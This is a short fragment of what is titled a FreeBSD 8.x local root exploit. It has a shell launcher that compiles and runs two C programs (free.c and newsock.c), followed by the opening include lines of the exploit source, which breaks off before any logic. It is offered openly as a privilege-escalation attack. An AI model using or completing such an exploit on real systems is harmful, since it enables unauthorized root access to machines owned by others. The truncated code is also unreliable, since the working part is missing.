Unix FreeBSD 8.x locaroot
start.sh;
#!/bin/sh
gcc free.c -o free
gcc newsock.c -o new
./free && ./new
exploit;
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
int nullfd;
int...